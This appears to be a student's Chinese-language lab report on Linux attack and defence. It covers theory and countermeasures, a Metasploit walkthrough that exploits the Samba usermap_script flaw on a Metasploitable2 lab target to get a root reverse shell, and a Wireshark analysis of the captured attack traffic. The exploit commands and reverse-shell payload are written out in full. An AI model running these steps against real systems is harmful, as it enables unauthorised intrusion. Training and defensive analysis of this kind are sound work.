1、实践原理
1.1 Linux系统远程攻防技术
针对Linux系统的攻击遵循系统攻击统一的逻辑流程:①攻击者首先利用踩点、扫描和查点等技术手段收集关于目标Linux系统的信息;②攻击者从远程网络发掘某个监听网络服务中的安全漏洞或配置弱点,获取本地Shell访问权;③转入本地攻击环节,利用各类提权技术获取Linux系统最高权限;
Linux远程口令字猜测攻击:攻击者通过网络协议远程猜测成功一组用户名和口令,以此远程登录到Linux系统上,获得本地的访问权;支持攻击者进行自动化的远程口令猜测工具比较流行的有:Brutus、THC Hydra、Cain and Abel;
Linux网络服务远程渗透攻击
Linux系统安全漏洞、渗透攻击与补丁更新过程:Linux采用独创性的“集市”开发模式,使得它的安全漏洞生命周期具有一些显著的特性:①Linux系统都是开放源代码,黑客们可以分析源代码并从中挖掘漏洞;②发现漏洞之后再报告给相应的开发团队;③修补补丁;④如果安全漏洞未被报告被用于渗透攻击与利用会造成Linux系统最重要的安全威胁;⑤更新软件版本和修补漏洞;⑥公开披露漏洞;⑦在黑客社区中也可能出现渗透利用代码;
针对Linux系统网络服务的远程渗透攻击:
Linux内核中的网络协议栈实现:是每个网络服务所依赖的基础平台,因此一旦这些代码存在远程代码执行危害后果的安全漏洞,那么无论该Linux系统开放何种服务,都可以被攻击者进行远程渗透攻击;
LAMP Web网站构建解决方案中的网络服务:LAMP(Linux/Apache/MySQL/PHP)是目前最流行的Web网站构建解决方案;
FTP、Samba等文件共享服务:****FTP服务是互联网上非常古老的网络服务,用于文件交换和共享传输;Samba是用来让Linux等类UNIX的操作系统与Windows系统SMB/CIFS网络协议相连接的网络服务,Samba服务软件在类UNIX与Windows之间架起一座互通的桥梁;
电子邮件收发服务:Sendmail;
其他网络服务:OpenSSH、OpenSSL、NFS原理及安装配置、SNMP简单网络管理协议、SUNRPC、DNS&BIND基础知识、X-Window简介等;
OpenSSH与OpenSSL的区别:这俩的名字也太像了点吧,把我都快给整懵了,所以这里查了一下写下来做个记忆的备份;从上面的概念中可以得到这俩的几个不同点;SSH主要是用于远程控制和计算机之间的文件传输的;OpenSSH针对SSH中的明文传送的不安全性而提出并对数据进行了加密;SSL是一个安全套接层协议,主要是保证两个应用之间的通信的保密性和可靠性,这主要是安全特性方面的保证;OpenSSL则是根据SSL的功能特性而开发的一个开源软件库。
针对网络服务远程渗透攻击的安全防范措施:①禁用所有不必要的网络服务;②尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署;③及时更新网络服务版本;④使用xinetd、防火墙为Linux网络服务添加网络访问控制机制;⑤建立入侵检测与应急响应计划流程;
攻击Linux客户端程序和用户
攻击Linux平台上的客户端程序:主要是Web浏览器和电子邮件客户端;
攻击Linux系统用户:常见的攻击手法包括在电子邮件、即时通信中设计一些应用社会工程学技巧的欺骗场景,来诱骗用户点击执行电子邮件附件或通过即时通信软件传输中的可执行程序或而已文档,访问某些恶意网页;
针对客户端与用户攻击的安全防范措施:①及时更新客户端软件;②提高用户自身的安全意识防止社会工程学攻击;③对用户而言养成下载软件的MD5校验;
攻击Linux路由器和监听器
除了上述的三种远程渗透攻击通道之外,Linux系统最容易让人忽视的是作为路由器和监听器网络设备时,在进行路由器转发或者数据包嗅探时,所遭受的特殊数据包攻击;
攻击Linux路由器与防火墙:主要是拒绝服务漏洞攻击、利用Linux防火墙的漏洞构造能够绕过防火墙规则的攻击数据包;
攻击监听器&入侵检测器:主流的开源软件包括Libpcap抓包库、tcpdump命令行程序、Wireshark网络监听与协议分析软件、Snort入侵检测系统;
针对路由器与监听器攻击的安全防范措施:网络管理员应建立一种安全对抗与博弈的意识,首先应意识到网络与安全设备自身的安全性和可用性,还需站在攻击者角度尝试进行渗透攻击确保所采用的防御体系不会被普通攻击者所绕过。
1.2 Linux系统本地安全攻防技术
通过上述的技术获得靶机的访问权之后,攻击者会试图进行本地攻击提升权限甚至植入远程控制的后门程序来确保他们以后能够轻易地返回这台靶机。
Linux本地特权提升:本地特权的提升最主要的是获取到Root权限进行运行,常用的手段有:破解出Root用户的口令,然后执行su或sudo命令进行提升;发掘并利用su或sudo程序中的安全漏洞;攻击用户态SUID特权提升漏洞以及攻击Linux内核代码特权提升漏洞;从系统中搜索全局可写的敏感文件与目录位置并加以利用;
Linux用户口令字破解:/etc/shadow中存着口令字密文文件,其结构和使用方法可详见教材306页;Linux上进行口令字破解的经典软件工具有John the Ripper;
利用sudo的缺陷进行特权提升
利用用户态SUID程序漏洞进行特权提升
针对SUID程序的本地缓冲区溢出攻击
针对SUID程序的符号链接攻击:这个漏洞的攻击主要是未安全检查文件链接,攻击者将链接设置为转向获取Root权限的链接就能获得Root权限;
针对SUID程序的竞争条件攻击:TOCTOU(time-of-check-to-time-of-use)程序在检查某一条件和使用检查结果的时间中间存在着一些延迟,从这个实践窗口中,攻击者就可能在另外一个进程中对已经通过检查的条件进行更改从而获取Root权限;
针对SUID程序的共享函数库攻击:攻击者利用动态共享函数库装载的ld.so实现上的错误进行漏洞攻击获取权限;
利用内核空间代码漏洞进行特权提升
利用系统配置不当实施本地特权提升:最常见的系统配置不当造成本地特权提升的主要隐患包括Root所有的SUID程序,以及全局可写的文件;
针对Linux本地特权提升攻击的防范技术与措施:修补本地特权安全漏洞、安全配置系统、应用SELinux等安全增强模块等。
Linux系统上的消踪灭迹:攻击者消踪灭迹最重要的方式是改变当前活动的日志;而应对日志清理攻击的一种方法途径是将日志信息写到难以修改的媒介上,支持只许添加标志扩展属性的文件系统,或者将关键日志信息发送到另一台防护严密的安全日志服务器上;
Linux系统远程控制后门程序:Linux系统上植入远程控制后门程序的类型主要有:特洛伊木马化的系统程序、命令行后门工具以及图形化后门工具;
2.实践内容:
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
用到的主机
kali(攻击机) IP 192.168.2004
Metasploitable2-Linux(靶机)192.168.200.123
首先相互进行ping测试,可以成功
kali中输入msfconsole启动kali里面的msfconsole;
输入use exploit/multi/samba/usermap_script
选择针对usermap_script 漏洞的渗透攻击模块。
选择攻击负载模块
输入show payloads
列举出所有适用的负载模块,如图所示:
然后执行set payload cmd/unix/reverse
选择你要用的攻击负载模块。这里选择的使18号(TCP反转)
配置参数
使用show options
查看需要设置的参数,如图,可见需要配置靶机和攻击机IP:
由上图可知,我们只需要设置远程的IP地址即可
输入 set RHOST 192.168.200.123
并输入exploit
开始攻击
输入ifconfig
查看靶机IP,与真实IP一致,验证了本次渗透攻击已经成功。执行whoami
查看获得权限为root,如图:
(2)实践作业:攻防对抗实践
*
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
*
防守方:使用 tcpdump/wireshark/snort
监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
1.在实践一的基础上,打开wireshark监听
追踪另外一个数据报的TCP流,可以发现shellcode,通过这些数据报和shellcode也可以得知,攻击方ip为192.168.200.3,攻击端口为35819,靶机ip地址为192.168.200.123,端口为139
追踪TCP流,可以得出攻击机输入的命令
展开流量包具体内容,可以得到攻击时间,攻击机和靶机IP以及端口
攻击机IP:192.168.200.3 端口是35819 目标端口是139 同时因为是SMB协议,通过sh执行了恶意脚本,大概可以确定是利用了CVE-2007-2447
3.学习感想和体会
因为有了上一次实验的基础,这次少走了许多弯路,同时这也说明了学习是一个循序渐进的过程。